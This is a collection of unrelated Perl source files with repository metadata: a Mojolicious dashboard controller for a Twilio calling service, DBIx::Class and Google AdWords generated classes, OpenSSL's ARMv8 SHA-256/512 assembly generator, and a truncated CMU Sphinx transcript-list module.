=> "", html => $html})); } sub retrieve_js { my $self = shift; if (!$self->session->{account_id}) { return($self->render_json(json => { success => 0, error => "Session has expired."})); } my $page = $self->param("page"); # my $html = $self->render(template => "dashboard/$page", partial => 1); return($self->render(template => "dashboard/$page", format => "js")); # return($self->render_json(json => { success => 1, error => "", html => $html})); } sub provision { my $self = shift; if (!$self->session->{account_id}) { return($self->render_json(json => { success => 0, error => "Session has expired."})); } my $twilio = SiteCode::Twilio->new(); my $ret = $twilio->create_account(account_id => $self->session->{account_id}); return($self->render(json => { success => ("" eq $ret ? 1 : 0), error => $ret })); } sub call_nbr { my $self = shift; if (!$self->session->{account_id}) { return($self->render_json(json => { success => 0, error => "Session has expired."})); } my $internal_nbr = SiteCode::DBX->new()->col("select int_nbr.number as interal_nbr from account, int_nbr where account.id = int_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $external_nbr = SiteCode::DBX->new()->col("select ext_nbr.number as external_nbr from account, ext_nbr where account.id = ext_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $account_sid = SiteCode::DBX->new()->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); # my $auth_token = SiteCode::DBX->new()->col("select AuthToken from account, subaccount where user.id = subaccount.user_id AND user.id = ", undef, $self->session->{user_id}); # warn("account_sid: $account_sid"); my $to = $self->param("call_nbr"); $self->stash(call_nbr => $to); unless ($to) { return($self->render_json({ success => 0, error => "No number given." })); } my $twilio = SiteCode::Twilio->new(); my $ret = $twilio->initiate_web_merge( account_sid => $account_sid, internal_nbr => $internal_nbr, external_nbr => $external_nbr, to => $to, record => $self->param("record_call") || 0, ); if (ref($ret)) { $ret = ""; } return($self->render(json => { success => ("" eq $ret ? 1 : 0), error => $ret, to => $to })); } sub quick_conference { my $self = shift; if (!$self->session->{account_id}) { return($self->render_json(json => { success => 0, error => "Session has expired."})); } my $internal_nbr = SiteCode::DBX->new()->col("select int_nbr.number as interal_nbr from account, int_nbr where account.id = int_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $external_nbr = SiteCode::DBX->new()->col("select ext_nbr.number as external_nbr from account, ext_nbr where account.id = ext_nbr.account_id AND account.id = ?", undef, $self->session->{account_id}); my $account_sid = SiteCode::DBX->new()->col("select AccountSid from account where account.id = ?", undef, $self->session->{account_id}); # my $auth_token = SiteCode::DBX->new()->col("select AuthToken from user, subaccount where user.id = subaccount.user_id AND user.id = ", undef, $self->session->{user_id}); # warn("account_sid: $account_sid"); my $numbers = $self->param("numbers") || ""; $self->stash(numbers => $self->param("numbers")); my $twilio = SiteCode::Twilio->new(); my $err = ""; my @numbers = split(/\n/, $numbers); warn("numbers: $numbers"); foreach my $number (@numbers) { $number =~ s/\D//g; $number =~ s/^((1)|(\+1))?/+1/; warn("number: $number"); my $ret = $twilio->quick_conference( account_id => $self->session->{account_id}, account_sid => $account_sid, From => $internal_nbr, To => $number, ); unless (ref($ret)) { $err = $ret; last; } } return($self->render(json => { success => ("" eq $err ? 1 : 0), error => $err })); } sub logout { my $self = shift; my @keys = keys %{ $self->session }; foreach my $k (@keys) { delete($self->session->{$k}); } my $url = $self->url_for('/'); return($self->redirect_to($url)); } 1;
brianmed/PhoneAdvanced
docroot/info_servant/lib/InfoServant/Dashboard.pm
Perl
bsd-2-clause
30,496
use utf8; package ScotchEgg::Schema::Result::SiteKey; # Created by DBIx::Class::Schema::Loader # DO NOT MODIFY THE FIRST PART OF THIS FILE =head1 NAME ScotchEgg::Schema::Result::SiteKey =cut use strict; use warnings; use base 'DBIx::Class::Core'; =head1 TABLE: C<site_key> =cut __PACKAGE__->table("site_key"); =head1 ACCESSORS =head2 id data_type: 'integer' is_auto_increment: 1 is_nullable: 0 sequence: 'site_key_id_seq' =head2 site_key data_type: 'varchar' is_nullable: 0 size: 512 =head2 updated data_type: 'timestamp' default_value: current_timestamp is_nullable: 0 original: {default_value => \"now()"} =head2 inserted data_type: 'timestamp' default_value: current_timestamp is_nullable: 0 original: {default_value => \"now()"} =cut __PACKAGE__->add_columns( "id", { data_type => "integer", is_auto_increment => 1, is_nullable => 0, sequence => "site_key_id_seq", }, "site_key", { data_type => "varchar", is_nullable => 0, size => 512 }, "updated", { data_type => "timestamp", default_value => \"current_timestamp", is_nullable => 0, original => { default_value => \"now()" }, }, "inserted", { data_type => "timestamp", default_value => \"current_timestamp", is_nullable => 0, original => { default_value => \"now()" }, }, ); =head1 PRIMARY KEY =over 4 =item * L</id> =back =cut __PACKAGE__->set_primary_key("id"); =head1 RELATIONS =head2 site_value Type: might_have Related object: L<ScotchEgg::Schema::Result::SiteValue> =cut __PACKAGE__->might_have( "site_value", "ScotchEgg::Schema::Result::SiteValue", { "foreign.site_key_id" => "self.id" }, { cascade_copy => 0, cascade_delete => 0 }, ); # Created by DBIx::Class::Schema::Loader v0.07033 @ 2013-01-28 05:31:04 # DO NOT MODIFY THIS OR ANYTHING ABOVE! md5sum:WO2podiNMkm0l9niqRvGmg # You can replace this text with custom code or comments, and it will be preserved on regeneration 1;
brianmed/PhoneAdvanced
docroot/info_servant/lib/ScotchEgg/Schema/Result/SiteKey.pm
Perl
bsd-2-clause
2,032
package Google::Ads::AdWords::v201406::AdGroupLabel; use strict; use warnings; __PACKAGE__->_set_element_form_qualified(1); sub get_xmlns { 'https://adwords.google.com/api/adwords/cm/v201406' }; our $XML_ATTRIBUTE_CLASS; undef $XML_ATTRIBUTE_CLASS; sub __get_attr_class { return $XML_ATTRIBUTE_CLASS; } use Class::Std::Fast::Storable constructor => 'none'; use base qw(Google::Ads::SOAP::Typelib::ComplexType); { # BLOCK to scope variables my %adGroupId_of :ATTR(:get<adGroupId>); my %labelId_of :ATTR(:get<labelId>); __PACKAGE__->_factory( [ qw( adGroupId labelId ) ], { 'adGroupId' => \%adGroupId_of, 'labelId' => \%labelId_of, }, { 'adGroupId' => 'SOAP::WSDL::XSD::Typelib::Builtin::long', 'labelId' => 'SOAP::WSDL::XSD::Typelib::Builtin::long', }, { 'adGroupId' => 'adGroupId', 'labelId' => 'labelId', } ); } # end BLOCK 1; =pod =head1 NAME Google::Ads::AdWords::v201406::AdGroupLabel =head1 DESCRIPTION Perl data type class for the XML Schema defined complexType AdGroupLabel from the namespace https://adwords.google.com/api/adwords/cm/v201406. Manages the labels associated with an {@link AdGroup}. =head2 PROPERTIES The following properties may be accessed using get_PROPERTY / set_PROPERTY methods: =over =item * adGroupId =item * labelId =back =head1 METHODS =head2 new Constructor. The following data structure may be passed to new(): =head1 AUTHOR Generated by SOAP::WSDL =cut
gitpan/GOOGLE-ADWORDS-PERL-CLIENT
lib/Google/Ads/AdWords/v201406/AdGroupLabel.pm
Perl
apache-2.0
1,541
package Google::Ads::AdWords::v201406::BasicUserList; use strict; use warnings; __PACKAGE__->_set_element_form_qualified(1); sub get_xmlns { 'https://adwords.google.com/api/adwords/rm/v201406' }; our $XML_ATTRIBUTE_CLASS; undef $XML_ATTRIBUTE_CLASS; sub __get_attr_class { return $XML_ATTRIBUTE_CLASS; } use base qw(Google::Ads::AdWords::v201406::UserList); # Variety: sequence use Class::Std::Fast::Storable constructor => 'none'; use base qw(Google::Ads::SOAP::Typelib::ComplexType); { # BLOCK to scope variables my %id_of :ATTR(:get<id>); my %isReadOnly_of :ATTR(:get<isReadOnly>); my %name_of :ATTR(:get<name>); my %description_of :ATTR(:get<description>); my %status_of :ATTR(:get<status>); my %integrationCode_of :ATTR(:get<integrationCode>); my %accessReason_of :ATTR(:get<accessReason>); my %accountUserListStatus_of :ATTR(:get<accountUserListStatus>); my %membershipLifeSpan_of :ATTR(:get<membershipLifeSpan>); my %size_of :ATTR(:get<size>); my %sizeRange_of :ATTR(:get<sizeRange>); my %sizeForSearch_of :ATTR(:get<sizeForSearch>); my %sizeRangeForSearch_of :ATTR(:get<sizeRangeForSearch>); my %type_of :ATTR(:get<type>); my %UserList__Type_of :ATTR(:get<UserList__Type>); my %conversionTypes_of :ATTR(:get<conversionTypes>); __PACKAGE__->_factory( [ qw( id isReadOnly name description status integrationCode accessReason accountUserListStatus membershipLifeSpan size sizeRange sizeForSearch sizeRangeForSearch type UserList__Type conversionTypes ) ], { 'id' => \%id_of, 'isReadOnly' => \%isReadOnly_of, 'name' => \%name_of, 'description' => \%description_of, 'status' => \%status_of, 'integrationCode' => \%integrationCode_of, 'accessReason' => \%accessReason_of, 'accountUserListStatus' => \%accountUserListStatus_of, 'membershipLifeSpan' => \%membershipLifeSpan_of, 'size' => \%size_of, 'sizeRange' => \%sizeRange_of, 'sizeForSearch' => \%sizeForSearch_of, 'sizeRangeForSearch' => \%sizeRangeForSearch_of, 'type' => \%type_of, 'UserList__Type' => \%UserList__Type_of, 'conversionTypes' => \%conversionTypes_of, }, { 'id' => 'SOAP::WSDL::XSD::Typelib::Builtin::long', 'isReadOnly' => 'SOAP::WSDL::XSD::Typelib::Builtin::boolean', 'name' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'description' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'status' => 'Google::Ads::AdWords::v201406::UserListMembershipStatus', 'integrationCode' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'accessReason' => 'Google::Ads::AdWords::v201406::AccessReason', 'accountUserListStatus' => 'Google::Ads::AdWords::v201406::AccountUserListStatus', 'membershipLifeSpan' => 'SOAP::WSDL::XSD::Typelib::Builtin::long', 'size' => 'SOAP::WSDL::XSD::Typelib::Builtin::long', 'sizeRange' => 'Google::Ads::AdWords::v201406::SizeRange', 'sizeForSearch' => 'SOAP::WSDL::XSD::Typelib::Builtin::long', 'sizeRangeForSearch' => 'Google::Ads::AdWords::v201406::SizeRange', 'type' => 'Google::Ads::AdWords::v201406::UserListType', 'UserList__Type' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'conversionTypes' => 'Google::Ads::AdWords::v201406::UserListConversionType', }, { 'id' => 'id', 'isReadOnly' => 'isReadOnly', 'name' => 'name', 'description' => 'description', 'status' => 'status', 'integrationCode' => 'integrationCode', 'accessReason' => 'accessReason', 'accountUserListStatus' => 'accountUserListStatus', 'membershipLifeSpan' => 'membershipLifeSpan', 'size' => 'size', 'sizeRange' => 'sizeRange', 'sizeForSearch' => 'sizeForSearch', 'sizeRangeForSearch' => 'sizeRangeForSearch', 'type' => 'type', 'UserList__Type' => 'UserList.Type', 'conversionTypes' => 'conversionTypes', } ); } # end BLOCK 1; =pod =head1 NAME Google::Ads::AdWords::v201406::BasicUserList =head1 DESCRIPTION Perl data type class for the XML Schema defined complexType BasicUserList from the namespace https://adwords.google.com/api/adwords/rm/v201406. User list targeting as a collection of conversion types. =head2 PROPERTIES The following properties may be accessed using get_PROPERTY / set_PROPERTY methods: =over =item * conversionTypes =back =head1 METHODS =head2 new Constructor. The following data structure may be passed to new(): =head1 AUTHOR Generated by SOAP::WSDL =cut
gitpan/GOOGLE-ADWORDS-PERL-CLIENT
lib/Google/Ads/AdWords/v201406/BasicUserList.pm
Perl
apache-2.0
4,744
#! /usr/bin/env perl # Copyright 2014-2016 The OpenSSL Project Authors. All Rights Reserved. # # Licensed under the OpenSSL license (the "License"). You may not use # this file except in compliance with the License. You can obtain a copy # in the file LICENSE in the source distribution or at # https://www.openssl.org/source/license.html # ==================================================================== # Written by Andy Polyakov <appro@openssl.org> for the OpenSSL # project. The module is, however, dual licensed under OpenSSL and # CRYPTOGAMS licenses depending on where you obtain it. For further # details see http://www.openssl.org/~appro/cryptogams/. # # Permission to use under GPLv2 terms is granted. # ==================================================================== # # SHA256/512 for ARMv8. # # Performance in cycles per processed byte and improvement coefficient # over code generated with "default" compiler: # # SHA256-hw SHA256(*) SHA512 # Apple A7 1.97 10.5 (+33%) 6.73 (-1%(**)) # Cortex-A53 2.38 15.5 (+115%) 10.0 (+150%(***)) # Cortex-A57 2.31 11.6 (+86%) 7.51 (+260%(***)) # Denver 2.01 10.5 (+26%) 6.70 (+8%) # X-Gene 20.0 (+100%) 12.8 (+300%(***)) # Mongoose 2.36 13.0 (+50%) 8.36 (+33%) # # (*) Software SHA256 results are of lesser relevance, presented # mostly for informational purposes. # (**) The result is a trade-off: it's possible to improve it by # 10% (or by 1 cycle per round), but at the cost of 20% loss # on Cortex-A53 (or by 4 cycles per round). # (***) Super-impressive coefficients over gcc-generated code are # indication of some compiler "pathology", most notably code # generated with -mgeneral-regs-only is significanty faster # and the gap is only 40-90%. $output=pop; $flavour=pop; if ($flavour && $flavour ne "void") { $0 =~ m/(.*[\/\\])[^\/\\]+$/; $dir=$1; ( $xlate="${dir}arm-xlate.pl" and -f $xlate ) or ( $xlate="${dir}../../../perlasm/arm-xlate.pl" and -f $xlate) or die "can't locate arm-xlate.pl"; open OUT,"| \"$^X\" $xlate $flavour $output"; *STDOUT=*OUT; } else { open STDOUT,">$output"; } if ($output =~ /512/) { $BITS=512; $SZ=8; @Sigma0=(28,34,39); @Sigma1=(14,18,41); @sigma0=(1, 8, 7); @sigma1=(19,61, 6); $rounds=80; $reg_t="x"; } else { $BITS=256; $SZ=4; @Sigma0=( 2,13,22); @Sigma1=( 6,11,25); @sigma0=( 7,18, 3); @sigma1=(17,19,10); $rounds=64; $reg_t="w"; } $func="sha${BITS}_block_data_order"; ($ctx,$inp,$num,$Ktbl)=map("x$_",(0..2,30)); @X=map("$reg_t$_",(3..15,0..2)); @V=($A,$B,$C,$D,$E,$F,$G,$H)=map("$reg_t$_",(20..27)); ($t0,$t1,$t2,$t3)=map("$reg_t$_",(16,17,19,28)); sub BODY_00_xx { my ($i,$a,$b,$c,$d,$e,$f,$g,$h)=@_; my $j=($i+1)&15; my ($T0,$T1,$T2)=(@X[($i-8)&15],@X[($i-9)&15],@X[($i-10)&15]); $T0=@X[$i+3] if ($i<11); $code.=<<___ if ($i<16); #ifndef __ARMEB__ rev @X[$i],@X[$i] // $i #endif ___ $code.=<<___ if ($i<13 && ($i&1)); ldp @X[$i+1],@X[$i+2],[$inp],#2*$SZ ___ $code.=<<___ if ($i==13); ldp @X[14],@X[15],[$inp] ___ $code.=<<___ if ($i>=14); ldr @X[($i-11)&15],[sp,#`$SZ*(($i-11)%4)`] ___ $code.=<<___ if ($i>0 && $i<16); add $a,$a,$t1 // h+=Sigma0(a) ___ $code.=<<___ if ($i>=11); str @X[($i-8)&15],[sp,#`$SZ*(($i-8)%4)`] ___ # While ARMv8 specifies merged rotate-n-logical operation such as # 'eor x,y,z,ror#n', it was found to negatively affect performance # on Apple A7. The reason seems to be that it requires even 'y' to # be available earlier. This means that such merged instruction is # not necessarily best choice on critical path... On the other hand # Cortex-A5x handles merged instructions much better than disjoint # rotate and logical... See (**) footnote above. $code.=<<___ if ($i<15); ror $t0,$e,#$Sigma1[0] add $h,$h,$t2 // h+=K[i] eor $T0,$e,$e,ror#`$Sigma1[2]-$Sigma1[1]` and $t1,$f,$e bic $t2,$g,$e add $h,$h,@X[$i&15] // h+=X[i] orr $t1,$t1,$t2 // Ch(e,f,g) eor $t2,$a,$b // a^b, b^c in next round eor $t0,$t0,$T0,ror#$Sigma1[1] // Sigma1(e) ror $T0,$a,#$Sigma0[0] add $h,$h,$t1 // h+=Ch(e,f,g) eor $t1,$a,$a,ror#`$Sigma0[2]-$Sigma0[1]` add $h,$h,$t0 // h+=Sigma1(e) and $t3,$t3,$t2 // (b^c)&=(a^b) add $d,$d,$h // d+=h eor $t3,$t3,$b // Maj(a,b,c) eor $t1,$T0,$t1,ror#$Sigma0[1] // Sigma0(a) add $h,$h,$t3 // h+=Maj(a,b,c) ldr $t3,[$Ktbl],#$SZ // *K++, $t2 in next round //add $h,$h,$t1 // h+=Sigma0(a) ___ $code.=<<___ if ($i>=15); ror $t0,$e,#$Sigma1[0] add $h,$h,$t2 // h+=K[i] ror $T1,@X[($j+1)&15],#$sigma0[0] and $t1,$f,$e ror $T2,@X[($j+14)&15],#$sigma1[0] bic $t2,$g,$e ror $T0,$a,#$Sigma0[0] add $h,$h,@X[$i&15] // h+=X[i] eor $t0,$t0,$e,ror#$Sigma1[1] eor $T1,$T1,@X[($j+1)&15],ror#$sigma0[1] orr $t1,$t1,$t2 // Ch(e,f,g) eor $t2,$a,$b // a^b, b^c in next round eor $t0,$t0,$e,ror#$Sigma1[2] // Sigma1(e) eor $T0,$T0,$a,ror#$Sigma0[1] add $h,$h,$t1 // h+=Ch(e,f,g) and $t3,$t3,$t2 // (b^c)&=(a^b) eor $T2,$T2,@X[($j+14)&15],ror#$sigma1[1] eor $T1,$T1,@X[($j+1)&15],lsr#$sigma0[2] // sigma0(X[i+1]) add $h,$h,$t0 // h+=Sigma1(e) eor $t3,$t3,$b // Maj(a,b,c) eor $t1,$T0,$a,ror#$Sigma0[2] // Sigma0(a) eor $T2,$T2,@X[($j+14)&15],lsr#$sigma1[2] // sigma1(X[i+14]) add @X[$j],@X[$j],@X[($j+9)&15] add $d,$d,$h // d+=h add $h,$h,$t3 // h+=Maj(a,b,c) ldr $t3,[$Ktbl],#$SZ // *K++, $t2 in next round add @X[$j],@X[$j],$T1 add $h,$h,$t1 // h+=Sigma0(a) add @X[$j],@X[$j],$T2 ___ ($t2,$t3)=($t3,$t2); } $code.=<<___; #ifndef __KERNEL__ # include <openssl/arm_arch.h> #endif .text .extern OPENSSL_armcap_P .globl $func .type $func,%function .align 6 $func: ___ $code.=<<___ if ($SZ==4); #ifndef __KERNEL__ # ifdef __ILP32__ ldrsw x16,.LOPENSSL_armcap_P # else ldr x16,.LOPENSSL_armcap_P # endif adr x17,.LOPENSSL_armcap_P add x16,x16,x17 ldr w16,[x16] tst w16,#ARMV8_SHA256 b.ne .Lv8_entry #endif ___ $code.=<<___; stp x29,x30,[sp,#-128]! add x29,sp,#0 stp x19,x20,[sp,#16] stp x21,x22,[sp,#32] stp x23,x24,[sp,#48] stp x25,x26,[sp,#64] stp x27,x28,[sp,#80] sub sp,sp,#4*$SZ ldp $A,$B,[$ctx] // load context ldp $C,$D,[$ctx,#2*$SZ] ldp $E,$F,[$ctx,#4*$SZ] add $num,$inp,$num,lsl#`log(16*$SZ)/log(2)` // end of input ldp $G,$H,[$ctx,#6*$SZ] adr $Ktbl,.LK$BITS stp $ctx,$num,[x29,#96] .Loop: ldp @X[0],@X[1],[$inp],#2*$SZ ldr $t2,[$Ktbl],#$SZ // *K++ eor $t3,$B,$C // magic seed str $inp,[x29,#112] ___ for ($i=0;$i<16;$i++) { &BODY_00_xx($i,@V); unshift(@V,pop(@V)); } $code.=".Loop_16_xx:\n"; for (;$i<32;$i++) { &BODY_00_xx($i,@V); unshift(@V,pop(@V)); } $code.=<<___; cbnz $t2,.Loop_16_xx ldp $ctx,$num,[x29,#96] ldr $inp,[x29,#112] sub $Ktbl,$Ktbl,#`$SZ*($rounds+1)` // rewind ldp @X[0],@X[1],[$ctx] ldp @X[2],@X[3],[$ctx,#2*$SZ] add $inp,$inp,#14*$SZ // advance input pointer ldp @X[4],@X[5],[$ctx,#4*$SZ] add $A,$A,@X[0] ldp @X[6],@X[7],[$ctx,#6*$SZ] add $B,$B,@X[1] add $C,$C,@X[2] add $D,$D,@X[3] stp $A,$B,[$ctx] add $E,$E,@X[4] add $F,$F,@X[5] stp $C,$D,[$ctx,#2*$SZ] add $G,$G,@X[6] add $H,$H,@X[7] cmp $inp,$num stp $E,$F,[$ctx,#4*$SZ] stp $G,$H,[$ctx,#6*$SZ] b.ne .Loop ldp x19,x20,[x29,#16] add sp,sp,#4*$SZ ldp x21,x22,[x29,#32] ldp x23,x24,[x29,#48] ldp x25,x26,[x29,#64] ldp x27,x28,[x29,#80] ldp x29,x30,[sp],#128 ret .size $func,.-$func .align 6 .type .LK$BITS,%object .LK$BITS: ___ $code.=<<___ if ($SZ==8); .quad 0x428a2f98d728ae22,0x7137449123ef65cd .quad 0xb5c0fbcfec4d3b2f,0xe9b5dba58189dbbc .quad 0x3956c25bf348b538,0x59f111f1b605d019 .quad 0x923f82a4af194f9b,0xab1c5ed5da6d8118 .quad 0xd807aa98a3030242,0x12835b0145706fbe .quad 0x243185be4ee4b28c,0x550c7dc3d5ffb4e2 .quad 0x72be5d74f27b896f,0x80deb1fe3b1696b1 .quad 0x9bdc06a725c71235,0xc19bf174cf692694 .quad 0xe49b69c19ef14ad2,0xefbe4786384f25e3 .quad 0x0fc19dc68b8cd5b5,0x240ca1cc77ac9c65 .quad 0x2de92c6f592b0275,0x4a7484aa6ea6e483 .quad 0x5cb0a9dcbd41fbd4,0x76f988da831153b5 .quad 0x983e5152ee66dfab,0xa831c66d2db43210 .quad 0xb00327c898fb213f,0xbf597fc7beef0ee4 .quad 0xc6e00bf33da88fc2,0xd5a79147930aa725 .quad 0x06ca6351e003826f,0x142929670a0e6e70 .quad 0x27b70a8546d22ffc,0x2e1b21385c26c926 .quad 0x4d2c6dfc5ac42aed,0x53380d139d95b3df .quad 0x650a73548baf63de,0x766a0abb3c77b2a8 .quad 0x81c2c92e47edaee6,0x92722c851482353b .quad 0xa2bfe8a14cf10364,0xa81a664bbc423001 .quad 0xc24b8b70d0f89791,0xc76c51a30654be30 .quad 0xd192e819d6ef5218,0xd69906245565a910 .quad 0xf40e35855771202a,0x106aa07032bbd1b8 .quad 0x19a4c116b8d2d0c8,0x1e376c085141ab53 .quad 0x2748774cdf8eeb99,0x34b0bcb5e19b48a8 .quad 0x391c0cb3c5c95a63,0x4ed8aa4ae3418acb .quad 0x5b9cca4f7763e373,0x682e6ff3d6b2b8a3 .quad 0x748f82ee5defb2fc,0x78a5636f43172f60 .quad 0x84c87814a1f0ab72,0x8cc702081a6439ec .quad 0x90befffa23631e28,0xa4506cebde82bde9 .quad 0xbef9a3f7b2c67915,0xc67178f2e372532b .quad 0xca273eceea26619c,0xd186b8c721c0c207 .quad 0xeada7dd6cde0eb1e,0xf57d4f7fee6ed178 .quad 0x06f067aa72176fba,0x0a637dc5a2c898a6 .quad 0x113f9804bef90dae,0x1b710b35131c471b .quad 0x28db77f523047d84,0x32caab7b40c72493 .quad 0x3c9ebe0a15c9bebc,0x431d67c49c100d4c .quad 0x4cc5d4becb3e42b6,0x597f299cfc657e2a .quad 0x5fcb6fab3ad6faec,0x6c44198c4a475817 .quad 0 // terminator ___ $code.=<<___ if ($SZ==4); .long 0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5 .long 0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5 .long 0xd807aa98,0x12835b01,0x243185be,0x550c7dc3 .long 0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174 .long 0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc .long 0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da .long 0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7 .long 0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967 .long 0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13 .long 0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85 .long 0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3 .long 0xd192e819,0xd6990624,0xf40e3585,0x106aa070 .long 0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5 .long 0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3 .long 0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208 .long 0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2 .long 0 //terminator ___ $code.=<<___; .size .LK$BITS,.-.LK$BITS #ifndef __KERNEL__ .align 3 .LOPENSSL_armcap_P: # ifdef __ILP32__ .long OPENSSL_armcap_P-. # else .quad OPENSSL_armcap_P-. # endif #endif .asciz "SHA$BITS block transform for ARMv8, CRYPTOGAMS by <appro\@openssl.org>" .align 2 ___ if ($SZ==4) { my $Ktbl="x3"; my ($ABCD,$EFGH,$abcd)=map("v$_.16b",(0..2)); my @MSG=map("v$_.16b",(4..7)); my ($W0,$W1)=("v16.4s","v17.4s"); my ($ABCD_SAVE,$EFGH_SAVE)=("v18.16b","v19.16b"); $code.=<<___; #ifndef __KERNEL__ .type sha256_block_armv8,%function .align 6 sha256_block_armv8: .Lv8_entry: stp x29,x30,[sp,#-16]! add x29,sp,#0 ld1.32 {$ABCD,$EFGH},[$ctx] adr $Ktbl,.LK256 .Loop_hw: ld1 {@MSG[0]-@MSG[3]},[$inp],#64 sub $num,$num,#1 ld1.32 {$W0},[$Ktbl],#16 rev32 @MSG[0],@MSG[0] rev32 @MSG[1],@MSG[1] rev32 @MSG[2],@MSG[2] rev32 @MSG[3],@MSG[3] orr $ABCD_SAVE,$ABCD,$ABCD // offload orr $EFGH_SAVE,$EFGH,$EFGH ___ for($i=0;$i<12;$i++) { $code.=<<___; ld1.32 {$W1},[$Ktbl],#16 add.i32 $W0,$W0,@MSG[0] sha256su0 @MSG[0],@MSG[1] orr $abcd,$ABCD,$ABCD sha256h $ABCD,$EFGH,$W0 sha256h2 $EFGH,$abcd,$W0 sha256su1 @MSG[0],@MSG[2],@MSG[3] ___ ($W0,$W1)=($W1,$W0); push(@MSG,shift(@MSG)); } $code.=<<___; ld1.32 {$W1},[$Ktbl],#16 add.i32 $W0,$W0,@MSG[0] orr $abcd,$ABCD,$ABCD sha256h $ABCD,$EFGH,$W0 sha256h2 $EFGH,$abcd,$W0 ld1.32 {$W0},[$Ktbl],#16 add.i32 $W1,$W1,@MSG[1] orr $abcd,$ABCD,$ABCD sha256h $ABCD,$EFGH,$W1 sha256h2 $EFGH,$abcd,$W1 ld1.32 {$W1},[$Ktbl] add.i32 $W0,$W0,@MSG[2] sub $Ktbl,$Ktbl,#$rounds*$SZ-16 // rewind orr $abcd,$ABCD,$ABCD sha256h $ABCD,$EFGH,$W0 sha256h2 $EFGH,$abcd,$W0 add.i32 $W1,$W1,@MSG[3] orr $abcd,$ABCD,$ABCD sha256h $ABCD,$EFGH,$W1 sha256h2 $EFGH,$abcd,$W1 add.i32 $ABCD,$ABCD,$ABCD_SAVE add.i32 $EFGH,$EFGH,$EFGH_SAVE cbnz $num,.Loop_hw st1.32 {$ABCD,$EFGH},[$ctx] ldr x29,[sp],#16 ret .size sha256_block_armv8,.-sha256_block_armv8 #endif ___ } $code.=<<___; #ifndef __KERNEL__ .comm OPENSSL_armcap_P,4,4 #endif ___ { my %opcode = ( "sha256h" => 0x5e004000, "sha256h2" => 0x5e005000, "sha256su0" => 0x5e282800, "sha256su1" => 0x5e006000 ); sub unsha256 { my ($mnemonic,$arg)=@_; $arg =~ m/[qv]([0-9]+)[^,]*,\s*[qv]([0-9]+)[^,]*(?:,\s*[qv]([0-9]+))?/o && sprintf ".inst\t0x%08x\t//%s %s", $opcode{$mnemonic}|$1|($2<<5)|($3<<16), $mnemonic,$arg; } } open SELF,$0; while(<SELF>) { next if (/^#!/); last if (!s/^#/\/\// and !/^$/); print; } close SELF; foreach(split("\n",$code)) { s/\`([^\`]*)\`/eval($1)/geo; s/\b(sha256\w+)\s+([qv].*)/unsha256($1,$2)/geo; s/\.\w?32\b//o and s/\.16b/\.4s/go; m/(ld|st)1[^\[]+\[0\]/o and s/\.4s/\.s/go; print $_,"\n"; } close STDOUT;
youtube/cobalt
third_party/boringssl/src/crypto/fipsmodule/sha/asm/sha512-armv8.pl
Perl
bsd-3-clause
12,746
# -*- cperl -*- # Copyright (c) 2006 Carnegie Mellon University. All rights # reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # # This work was supported in part by funding from the Defense Advanced # Research Projects Agency and the National Science Foundation of the # United States of America, and the CMU Sphinx Speech Consortium. # # THIS SOFTWARE IS PROVIDED BY CARNEGIE MELLON UNIVERSITY ``AS IS'' AND # ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY # NOR ITS EMPLOYEES BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. use strict; package Text::CMU::Transcripts; sub new { my $this = shift; my $class = ref $this || $this; my $self = bless {files => []}, $class; $self->initialize(@_); return $self; } sub initialize { my ($self, %opts) = @_; if (defined($opts{list})) { local (*LIST, $_); open LIST, "<$opts{list}" or die "Failed to open $opts{list}: $!"; while (<LIST>) { chomp; next if /^\s*$/; next if /^#/; s/^\s+//; s/\s+$//; push @{$self->{files}}, $_; } } } sub get_files { my ($self, $pattern) = @_; my $files = $self->{files}; if (defined($pattern)) { return grep /$pattern/, @$files; } else { return @$files; } } sub _add_contents { my ($self, @contents) = @_; foreach my $object (@contents) { my $class = ref $object; if ($class) { # It's (probably) an InputFilter. But maybe it's another # <Transcripts>. Either way, tell it to do its magic and give # us its files. if ($object->can('get_files')) { push @{$self->{files}}, $object->get_files(); # Keep a reference to this object so its temporary # directory won't die. push @{$self->{sources}}, $object; } } else { my @lines = split /\015?\012/, $object; foreach (@lines) { s/^\s+//; 